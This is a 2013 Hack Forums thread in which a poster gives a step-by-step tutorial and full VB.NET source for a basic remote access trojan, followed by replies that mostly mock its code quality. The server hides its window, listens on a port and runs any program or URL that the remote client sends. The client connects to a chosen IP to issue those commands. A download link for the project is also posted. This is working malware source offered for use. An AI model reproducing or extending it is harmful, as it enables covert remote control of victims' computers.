

Forum:[Hack Forums](#)

Thread: [\[VERY BAD CODE\]Basic .NET RAT .Coder.](#)

.Coder. - September 23, 2013, 11:33 am

THIS IS VERY BAD CODE BUT YOU CAN USE IF YOU WANT. Basic .NET RAT (Its not the best) IF you dont like don't hate! find someone else to criticize

Hello HF users! Today I'm going to teach you how to make a basic .NET RAT.

Here are a Few pictures of my RAT. Remember its basic.

Spoiler [\(Click to View\)](#)

Right lets get started! Firsts things first Create a new Project in Visual Studio or what ever you have and name it "server" without ""

Double click the form to get on the coding page.

Okays at the very top type this:

Code Imports System.Net

Imports System.Net.Sockets

Imports System.IO

Imports Microsoft.Win32

Now under Form1 type:

Code Dim port As Integer = 6961

Dim sock As New TcpClient()

Dim tcpcl As New TcpListener(port)

Dim place As String This set the port to 6961 and allow connection between to server and the client.

To do that we have to make a listen sub but this un what you just did:

Code Private Sub listen()

Try

tcpcl.Start()

sock = tcpcl.AcceptTcpClient()

Catch ex As Exception

End Try

End Sub Under that make a new sub:

Code Private Sub check()

If sock.Connected = True Then

sock.SendTimeout = 5000

Try

Dim nstream As NetworkStream = sock.GetStream

Dim bit(sock.ReceiveBufferSize) As Byte

nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))

Dim str As String = System.Text.Encoding.ASCII.GetString(bit)

```
Dim id() As String = Split(str, "*", -1, CompareMethod.Text)
```

```
If id(0) = 0 Then  
Dim stri As String = id(1)  
Process.Start(stri)  
End If
```

```
If id(0) = 1 Then  
Dim stri As String = id(1)  
MsgBox(id(1))  
End If
```

```
Catch ex As Exception  
check()  
End Try
```

```
End If
```

End Sub This allows you to choose what functions your RAT has. This one has:

```
Code If id(0) = 0 Then  
Dim stri As String = id(1)  
Process.Start(stri)  
End If
```

```
If id(0) = 1 Then  
Dim stri As String = id(1)  
MsgBox(id(1))
```

End If Which allows the use of website visits and messagebox's. You can add more by making another one and changing the "msgbox" to what you want.

All we have to do now is add the Form1 code:

```
Code Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
```

```
While sock.Connected = False
```

```
Try
```

```
listen()
```

```
Catch ex As Exception
```

```
End Try
```

```
End While
```

```
While True
```

```
check()
```

```
End While
```

```
Me.Hide()
```

```
End Sub
```

```
End Class
```

This is the Sever done! just build and save.

Lets get on with the Client You can have yours anyway you like, I choose my design because I like it to look cool with this feature:

What you need:

4 textbox's

3 buttons

1 label

First we need to import our stuff, At the top type :

```
Code Imports System.Net
```

```
Imports System.Net.Sockets
```

Now under where it says "Public class Form1" type

```
Code Dim sock As New TcpClient()
```

```
Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
```

```
Dim port As Integer = 6961
```

As you can see we used the same port so we can connect to to server.

Now we make a new Sub:

```
Code Private Sub connect()
```

```
ip = IPAddress.Parse(TextBox1.Text)
```

```
port = TextBox2.Text
```

```
Try
```

```
sock.Connect(ip, port)
```

```
MsgBox("You have Connected", MsgBoxStyle.Information, "Connected")
```

```
Label1.Text = "Connected"
```

```
Catch ex As Exception
```

```
MsgBox("Can not connect to designated ip at this time" + ex.Message)
```

```
End Try
```

```
End Sub
```

This gets the IP and Port that you used in the text box's to connect to.

New sub:

```
Code Private Sub dat(ByVal dat As String)
```

```
Dim nstream As NetworkStream = sock.GetStream()
```

```
Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
```

```
nstream.Write(bit, 0, bit.Length)
```

This allows the client to connect to the IP.

Now for the buttons:

Button1

```
Code connect()
```

```
TextBox3.Cursor = Cursors.IBeam
```

```
TextBox4.Cursor = Cursors.IBeam
```

Button2

```
Code dat("0*" + TextBox3.Text)
```

Button3

```
Code dat("1*" + TextBox4.Text)
```

I have other features with the Me.close button as you can see In the GIF. allow set your text boxes curser To the blocked sign so it is blocked untill You connect.

Full Source.

Server:

```
Code Imports System.Net
```

```
Imports System.Net.Sockets
```

```
Imports System.IO
```

```
Imports Microsoft.Win32
```

```

Public Class Form1
    Dim port As Integer = 6961
    Dim sock As New TcpClient()
    Dim tcpc As New TcpListener(port)
    Dim place As String

    Private Sub listen()
    Try
        tcpc.Start()
        sock = tcpc.AcceptTcpClient()
    Catch ex As Exception
    End Try

    End Sub

    Private Sub check()
    If sock.Connected = True Then
        sock.SendTimeout = 5000
        Try
            Dim nstream As NetworkStream = sock.GetStream
            Dim bit(sock.ReceiveBufferSize) As Byte
            nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
            Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
            Dim id() As String = Split(str, "*", -1, CompareMethod.Text)

            If id(0) = 0 Then
                Dim stri As String = id(1)
                Process.Start(stri)
            End If

            If id(0) = 1 Then
                Dim stri As String = id(1)
                MsgBox(id(1))
            End If

            Catch ex As Exception
                check()
            End Try
        End If
    End Sub

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
    While sock.Connected = False
        Try
            listen()
        Catch ex As Exception
        End Try
    End While

    While True
        check()
    End While
    Me.Hide()

```

```
End Sub
End Class
Client:
Code Imports System.Net
Imports System.Net.Sockets
```

```
Public Class Form1
    Dim sock As New TcpClient()
    Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
    Dim port As Integer = 6961
    Private Sub connect()
ip = IPAddress.Parse(TextBox1.Text)
port = TextBox2.Text
Try
    sock.Connect(ip, port)
    MsgBox("You have Connected", MsgBoxStyle.Information, "Connected")
    Label1.Text = "Connected"
```

```
Catch ex As Exception
    MsgBox("Can not connect to designated ip at this time" + ex.Message)
End Try
End Sub
```

```
    Private Sub dat(ByVal dat As String)
Dim nstream As NetworkStream = sock.GetStream()
Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
nstream.Write(bit, 0, bit.Length)
End Sub
```

```
    Private Sub Button3_Click(sender As Object, e As EventArgs)
dat("1*" + TextBox4.Text)
End Sub
```

```
    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Label1.Text = "Disconnected"
End Sub
```

```
    Private Sub Gul_Buttons1_Click(sender As Object, e As EventArgs) Handles Gul_Buttons1.Click
connect()
TextBox3.Cursor = Cursors.IBeam
TextBox4.Cursor = Cursors.IBeam
End Sub
```

```
    Private Sub PictureBox1_Click(sender As Object, e As EventArgs) Handles PictureBox1.Click
dat("0*" + TextBox3.Text)
End Sub
```

```
    Private Sub PictureBox2_Click(sender As Object, e As EventArgs) Handles PictureBox2.Click
dat("1*" + TextBox4.Text)
End Sub
```

```
    Private Sub PictureBox3_Click(sender As Object, e As EventArgs) Handles PictureBox3.Click
Me.Close()
```

End Sub

End Class

Thank you for Taking this in hope it help thanks to [--\(\[-S7N-\]\)--](#)For some code.

My project, Just the client not there server or Post asking for it and ill PM you both.

DOWNLOAD VIA DROPBOX: <https://www.dropbox.com/s/tdcjzg9b4becjna/Client.rar>

Please dont copy my thread It took alot of time to make this!!!!

Thanks!

.Coder.

Asp1r3-At0m - September 23, 2013, 11:38 am

Nice TUT man, With this basics is easy to introduce to "hard" and advanced things.

Keep learning! :D

.Coder. - September 23, 2013, 11:43 am

(Sep 23, 2013 11:38 AM)Asp1r3-At0m Wrote: [\[CITE\]](#) Nice TUT man, With this basics is easy to introduce to "hard" and advanced things.

Keep learning! :D

Thanks man means alot and yes it does help people and me get a better understanding of RAT's now people can add there own features. :)

Madara-Uchiha - September 23, 2013, 11:45 am

Looks good, I hoped you havent just copy-pasted this tutorial.

If you made it yourself, good job!:))

.Coder. - September 23, 2013, 11:48 am

(Sep 23, 2013 11:45 AM)Madara-Uchiha Wrote: [\[CITE\]](#) Looks good, I hoped you havent just copy-pasted this tutorial.

If you made it yourself, good job!:))

I can swear one my life I made it my self took 1 hour too as I was watch Dexter at the same time + GIF aha. Thanks though!!!

Only3 - September 23, 2013, 12:09 pm

this is old u should move to async socket

x64 - September 23, 2013, 12:28 pm

You didn't even use an serialization, using a split is a very bad method. I'd recommend you learning async sockets, and please use some OOP code.

ubbelol - September 23, 2013, 12:33 pm

This is taken straight from an oold RAT source which is really shitty. People, please don't use this source.

Dark Noodles - September 23, 2013, 12:38 pm

Why is this not reverse connection? If you're using this method, then you would have to retrieve the victim's IP in order to "hack" them.

.Coder. - September 23, 2013, 12:40 pm

Its a finished RAT, Its for people to learn from. And there is nothing wrong with it read the title, "BASIC .NET RAT". Sorry for disappointing.

ubbelol - September 23, 2013, 12:42 pm

(Sep 23, 2013 12:40 PM).Coder. Wrote: [\[CITE\]](#) Its a finished RAT, Its for people to learn from. And there is nothing wrong with it read the title, "BASIC .NET RAT". Sorry for disappointing.
Calling it "basic" doesn't justify teaching people horrible habits.

.Coder. - September 23, 2013, 12:43 pm

(Sep 23, 2013 12:42 PM)UbbeLoL Wrote: [\[CITE\]](#) Calling it "basic" doesn't justify teaching people horrible habits.Dont mean you have do be mean about it. Its nice for people that dont know. And to mess around with.

TheBarret - September 23, 2013, 12:43 pm

(Sep 23, 2013 12:33 PM)UbbeLoL Wrote: [\[CITE\]](#) This is taken straight from an oold RAT source which is really shitty. People, please don't use this source.
What Ubbe said, don't use this as example.

.Coder. - September 23, 2013, 12:44 pm

(Sep 23, 2013 12:43 PM)TheBarret Wrote: [\[CITE\]](#) What Ubbe said, don't use this as example.Can you please explain what is wrong with it?

ubbelol - September 23, 2013, 12:45 pm

(Sep 23, 2013 12:43 PM).Coder. Wrote: [\[CITE\]](#) Dont mean you have do be mean about it. Its nice for people that dont know. And to mess around with.

I'm not being mean, I'm trying to keep people from learning from bad examples. It's especially bad for people who are new to networking in C#, it's better to just learn it the correct way from the beginning..

.Coder. - September 23, 2013, 12:46 pm

(Sep 23, 2013 12:45 PM)UbbeLoL Wrote: [\[CITE\]](#) I'm not being mean, I'm trying to keep people from learning from bad examples. It's especially bad for people who are new to networking in C#, it's better to just learn it the correct way from the beginning..

So I wasted an hour on this trying to help the Community?

ubbelol - September 23, 2013, 12:46 pm

(Sep 23, 2013 12:44 PM).Coder. Wrote: [\[CITE\]](#) Can you please explain what is wrong with it?

1. It's not async.
2. Awful exception handling
3. The packet parsing method is horrible as well.

etc etc.

(Sep 23, 2013 12:46 PM).Coder. Wrote: [\[CITE\]](#) So I wasted an hour on this trying to help the Community?

How does it take an hour to copy+paste a source onto a thread?

.Coder. - September 23, 2013, 12:49 pm

(Sep 23, 2013 12:46 PM)UbbeLoL Wrote: [\[CITE\]](#) 1. It's not async.

2. Awful exception handling
3. The packet parsing method is horrible as well.

etc etc.

How does it take an hour to copy+paste a source onto a thread?

Because I didnt copy and paste. I sent time Writing the tut out with the GIF and pictures and writing the code. I dont leech.

ubbelol - September 23, 2013, 12:51 pm

(Sep 23, 2013 12:49 PM).Coder. Wrote: [\[CITE\]](#) Because I didnt copy and paste. I sent time Writing the tut out with the GIF and pictures and writing the code. I dont leech.

-3 for leeching and lying about it... You didn't make this source, I've seen it around for years. Don't even try.

Just google it and you'll see multiple results.

.Coder. - September 23, 2013, 12:55 pm

-3 For leeching? Okay but I'm not lying. I give credits to the guy that helped with code if you didnt read the post. and I typed everything out myself.

Okay I admit It's not good code but as I said, Its usable for testing out and playing around with. Don't hate. LOVE .Coder.

Jackster2014 - September 23, 2013, 2:23 pm

Great tutorial! Keep learning :) :) :)

Moon Rock - September 23, 2013, 6:57 pm

Thanks I kept getting some error when I tried to do it to myself saying it can't connect to my ip since it refused, but good tutorial.

deiski - September 23, 2013, 7:52 pm

Don't release it if you know it's very bad.

nathan72389 - September 23, 2013, 8:42 pm

(Sep 23, 2013 07:52 PM)#Cyan Wrote: [\[CITE\]](#) Don't release it if you know it's very bad. EXACTLY!

"heres my shitty program I just C&P'ed today, but since im a shitty code, i will just call the app shitty to make me look better."

@OP, listen to everyone here.

your doing it all wrong.

s0urce - September 23, 2013, 9:36 pm

That hour you spent could of been used towards teaching yourself how to actually program, properly.

.Coder. - September 23, 2013, 11:50 pm

(Sep 23, 2013 09:36 PM)__source Wrote: [\[CITE\]](#) That hour you spent could of been used towards teaching yourself how to actually program, properly.

Thanks for the hate. I released it and then changed the name afterwards. Its for people that don't know.

Mr. Evil - *December 26, 2013, 11:56 am*

Nice TUT man, With this basics is easy to introduce to "hard" and advanced things.